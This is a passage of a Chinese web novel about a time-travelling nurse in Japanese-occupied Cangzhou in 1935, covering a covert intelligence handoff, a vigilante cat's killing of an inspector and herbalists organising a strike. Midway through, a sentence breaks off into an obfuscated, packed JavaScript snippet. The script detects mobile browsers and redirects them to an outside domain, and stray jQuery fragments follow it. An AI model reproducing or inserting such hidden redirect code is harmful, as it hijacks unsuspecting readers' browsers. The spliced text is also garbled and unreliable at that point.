房檐窜下的黑影一跃而下,左爪弹出一根锋利的指甲,月光在利爪上淬出寸许寒芒,
“嗤”地划开颈侧动脉时,比裁缝剪开杭绸还利索。血箭喷上砖墙“肃清盗匪”的告示,喷溅出一片扇面。
油头痦子,呆立片刻,喉咙“咯咯”响着仰面倒下,怀里零散的袁大头滚进阴沟。
黑影没有离去,再次抬起爪子,对着倒下的身体,上上下下,划了好多下。
它数着呢,十三下,它最多能数到十三,十三最大了,不知道算不算三千六百刀了。
反正十三最大。
黑影满意的晃晃竖起来的尾巴,扭头窜上房顶跑了。
黑绸料衣服裂成棋盘格,翻开的皮肉里还散落着一封大洋。
卯初破晓,豆腐坊的伙计一脚踩进黏稠的血浆里。
五米外,最先到的伪警察捏着鼻子记录:“创缘整齐,疑似窄刀、细剑所为?”
凶器:像猛禽爪痕。
血迹:渗透深度约一指。
1935年7月11日清晨5:30
林卓赶在晨祈前来到住院部,在器械室里找到于嫂,她好像又连轴转了。
于嫂背对着门清点纱布,看到进来的林卓点点头。
突然压低嗓子:“林护士,西库房那批民国廿三年产的棉签该清了。”
林卓正用镊子分拣器械,有些不确定地问:“是……是扔垃圾桶?”
于嫂:“有时间看看墙上的条例,要求是过期棉签焚烧处理,但咱们医院资金紧张,尤其是‘塘沽协定’后。”
于嫂深叹一口气:“平时,就将这些废弃物卖给收破烂的也能换点钱的。”
于嫂转身递过一串钥匙:“按《护理章程》第七条,过期医疗废物需移交商会特许回收商。”
而后语调转轻:“曹记驴肉馆的车辰时三刻到后巷,记着让伙计签字!”
林卓“要…要开验货单吗?”
于嫂拍拍桌上一叠空表格。
“填二十张废弃登记表!每箱须注明‘棉签需拆解焚烧’!指甲在‘拆解’二字划出深痕。
林卓在西库房搬出二十箱报废棉签,库房墙上还贴着《日方新规》,上书:过期棉签需焚烧处理。
辰时三刻(7:45)在医院后巷排水沟旁一辆骡子车插着黄底黑字旗(青帮标识),上写“曹记”二字,车辕上挂两串铜铃。
骡车前辕的黄旗在晨风里舒卷,黑线绣的‘曹记’二字下,隐约透出‘川大丁首’的暗纹。
车夫老杨甩鞭时,腕间三点半香刺青在袖口忽隐忽现——这是青帮‘通’字辈的车,连日本哨卡都懒得查他们的货。
车夫老杨看看这个看生的姑娘,先用三指叩击车辕,然后递过盖了印的提货单。
林卓出示表格时,故意将小指压在‘沧’字第三笔,暗示位置。
林卓都是按于嫂教的动作,她隐约知道,但是又不知道,不知道送出的是什么。
老杨用秤砣敲击车板三下,回应箱数。
回了包子铺卸货时,把第三箱棉签摔破,趁机摸走底层情报。
林卓看着哒哒哒走远的骡子车,一时竞兴奋起来,觉得自己好像干了什么了不得的大事。
她不会知道,五个月后,一份标注‘沧州廿三年产棉签’的油印件,出现在陕北平桥堡的军事会议文件堆中。
彼时她正为伤员更换染血的纱布。
自觉干了大事的姑娘,脚步轻快地回了住院部,先去青年的病房,脑袋伸进病房看。
青年的膝头摊着一份《申报》,指腹的茧子刮着报纸上的‘华北自治’,像是在琢磨什么。
他抬眼时,正撞见那姑娘眸子里跳动的碎光,比那河西走廊的磷火更灼人。
红药水的气息被风搅散,空气里似是浮起她袖口沾染的枣皮甜香。
“这般雀跃?莫不是寻得硝石矿了?”
林卓抿嘴笑,嘴角两个小酒窝若隐若现,仿佛藏了千军万马的精妙计策。
“嘿嘿,比那还大的大好事,不知道,反正就是大好事。”
尾音似是打着旋儿撞到玻璃窗,撞得晨光都多出两分颜色来。
青年不自觉挺直腰背,箭伤结痂处立时绷紧。
他见过长安贵女团扇半遮的笑,也见过匈奴阏氏烈酒浇喉的狂,却从未遇过这般把七情六欲都泼在脸上的鲜活模样。
林卓心里头阳光灿烂。
刚爬过城墙的日头也很灿烂,茶棚里三三两两的人都在交头接耳。
刚下值的装卸工,披着满是补丁的粗布衫,小声说着:“听说了吗,昨晚有夜叉索命!稽查队崔五爷被剁成二十八块:”
茶摊老头嘬着烟袋锅冷笑:“二十八?我数着是二十九——连□□里那二两烂肉都算上。”
“听说都零碎了,稽查队去验尸时,当场吓晕一个,好几个都吓尿了,今个听说稽查队上不了街了,好几个估摸着要跑。”
“不知是哪位好汉在替天行道,恶人自有天收啊,该!”
“小声点,别让人听见。”
“怕啥,稽查队都不敢上街了,看着吧,造孽造多了,遭报应了。要是有人告密,看着吧,啥时候就让人千刀万剐喽!”
“举头三尺有神明,城隍老爷看着呢。”
“听说大洋散了一地,可惜了的,都便宜警务署了。”
众人在窃窃私语,也没逃过大黄的耳朵。
它难得点点大猫头,表示认同:我是看着呐!
“大洋?可惜了?”大黄长胡子抖了抖,不能理解。
它屁股高高撅起,前腿俯低伸了个大大的懒腰,高高地竖着尾巴,不紧不慢地回医院了。
医院里的林卓心情莫名的好,外头的蝉鸣竟然听出了节奏,她不由自主地晃着脑袋哼唱:“心里种下一颗种子哒啦嘀哒啦,它能实现小小愿望有神奇……”
而小田和彦的心情却糟得一塌糊涂。
钢笔尖在《沧州汉代墓葬群考察启事》校样上顿住,油墨在‘学术共享’四字上洇出一个蝌蚪状的墨团。
他抬腕叩响一铜铃,伪县长张景惠的秘书立刻佝偻着腰凑近,警服第三颗铜纽扣没了。
那是上月被二十九军溃兵扯掉的,他一直没让人缝,故意作出一副凄惨样。
“请转告张县长,”小田用生硬的中文咬字,
“大日本帝国对贵县文化事业深切关怀,望沧州商会、保甲长联席会全力配合考古作业。”
他推过盖着关东军司令部鹰徽的信封,内装二十块银元和一纸《协助征调令》。
医院里林卓端着搪瓷托盘推开病房门,铁架床上躺着两个特殊的小病号,
左侧竹篮里裹着襁褓的新生儿,浑身泛着不正常的金黄,右侧蜷缩着个七岁男孩,脸上结痂的鞭痕随着抽泣颤动着。
林卓:“承嗣,该换药了。”
林卓用镊子夹起浸过酒精的棉球,轻轻擦着,男孩疼地死死抓住她的白大褂口袋,有些黑的手指在她口袋上抓出几道污痕:“爷爷……”
林卓不由自主地叹息,早上维持到现在的好心情已荡然无存。
这个孩子的爷爷是‘回春堂’的老掌柜李岐黄,5号因拒交祖传的止血散配方,被宪兵队抓走拷打致死。
李承嗣在爷爷被抓时上前拉爷爷,被宪兵队抽了一鞭子,当晚这孩子便发了高烧,他妈妈更是在惊恐之下早产,生下一个女婴。
这小婴儿一生下来就浑身黄黄的,连眼珠舌头都是黄的,家里的老太太果断地把两个孩子都送到了教会医院,以防宪兵队再害人。
林卓给孩子换完药,从兜里掏出一颗薄荷糖,剥了递给他,拍拍他的小脑瓜。
薄荷糖纸在掌心蜷成一个小球,林卓想起小学手工课总想把糖纸折成千纸鹤,总是不成形,那时候的小朋友生病了,差不多要全家出动。
她看看躺在床上乖巧的李承嗣,心里沉甸甸的。
玻璃窗透过来的光斑落在他的睫毛上,随着呼吸微闪着。
她摸摸兜里另一颗,她就带了两颗,这颗是给青年的,本来打算一人一颗的,这颗给李承嗣了,自己就不吃了。
她的牛仔外套兜里还有不少,是去饭店吃饭在前台抓的,清口的。
她还挺喜欢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871558|176233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这种包装的薄荷糖,一个小圈,一边绿一边白,小小的一个,一小会就化了,吃完清清爽爽的。
不过,虽然宿舍还有一些,但这个时代肯定是没有的吧,还是省着点吃吧。
林卓一边清理器械一边脑子里过她负责的这几间病房,她是实习生,但也分了病房。
当然配药之类,专业度比较高的工作,于嫂还是要把关的,一些简单的清创,换药等活她跟着学学就会了。
她负责这5个病房,几乎每个病房的病人,这些病,多多少少都和宪兵队日本人有关。
这简直是逆天,妥妥的反人类罪。
林卓长长的吐气。
现在看见宪兵队就恨不得马上去配炸药,现代长大的女孩子,从没有如此仇恨一个群体,恨不得他们马上都炸死。
林卓在器械室里暗自运气。
听着外面响个不停的蝉鸣更觉烦躁不堪。谁知这蝉鸣越来越近,越来越近,林卓皱眉扭头,对上大黄金色的大眼睛,它嘴里叼着一只蝉,在拼命地振翅鸣响。
林卓“…”
她蹲下,大黄蹭了过来。
摸着大黄的脑袋:“大黄要吃这个啊,等我下了班,给你烧熟了吃,行不行,你吃这个会长虫,嗯……”
她想起,大黄可能还吃老鼠等,要长虫早就长了。
大黄把蝉吐在地上,用爪子推给她。
林卓连忙摇头:“不,我不要,大黄玩吧。要是大洋我就要了,这个不要。”说着摸摸它的脑袋。
大黄:大洋……
金色的大眼睛闪着光。
它爪子底下的蝉还在拼命地叫着,林卓觉得烦人。
在离医院不到三里的文庙街,在烦人的蝉鸣中,林远志贴着灰砖墙从后门闪进一处小院。
刘文正早已支开临街的榆木窗板,修补着一本刚淘换来的《本草纲目》,书页又黄又脆,动作要特别小心。
桌上摊着张沧州地图,朱砂笔圈出十三家中医馆的位置,墨渍未干的“罢市”二字压在城隍庙标点上。
“令堂与侄女上月已过潼关,眼下在兰州仁德堂安顿。”
刘文正推过茶碗,碗边有张电报局收据,发报地址是西安鼓楼南街——那是刘家北平女婿的铺面。
林远志指尖划过碗沿裂纹,嘴唇动了动:“谢过刘叔。济世堂李掌柜今早被宪兵带走,说他私囤三七。”
刘文正“啪”一下拍桌子,咬着牙说道:“怕是凶多吉少!”
半晌他从博古架暗格里抽出一叠《自愿闭馆书》,
摁上沧州商会火漆:“这是回春堂、保和堂等八家联署的状子。哈…日本要废汉医,国民政府就跟着!”
他激动得站起来走了两圈,要说什么没说出来,仰头大笑:“哈哈哈哈哈……”笑声悲怆。
笑完了噔噔噔噔踏着重步又回坐回椅子,半晌还是没忍住:“中医学校都不能叫学校了,叫传习所,哈哈哈……”
林远志双手攥紧,闭着双目,咬着牙关,似在入定。
刘文正呆坐着缓了缓,撕开一捆黄芪的捆绳,露出裹在根须里的南部式手枪,
他摩挲着黄芪捆绳,折断根须间还挂着黄土,泥腥味让他想起医馆后院那棵银杏。
三年前这些根茎还长在陇西旱塬,如今却裹着关东军的枪油味……
他拔出手枪:“拿着这个,以防万一,现在稽查队都不敢出门,有替天行道者地盯着他们呢,不知道是哪个好汉,身手了不得。”
窗外阴影一闪而过,忽起伪军喝骂声,两人同时噤了声。
林远志将手枪塞进装艾绒的麻袋,手指蘸水在桌面疾书:“振华烛皂厂可存药材?”
刘文正点头,抹去水痕时,袖口还粘着红棕色的枣糕渣,散出甜香。
刘文正推开书架从后墙上,掏出油布包着的《沧州药行名录》,每页人名旁皆标红叉——已签字罢市者。
林远志瞥见父亲“林啸山”三字,眼眶骤然发烫。
他使劲地眨眨眼,终是徒劳,也没能眨去泪意,
两行泪在干燥的脸颊淌出两道湿痕,趁得嘴皮越发干裂。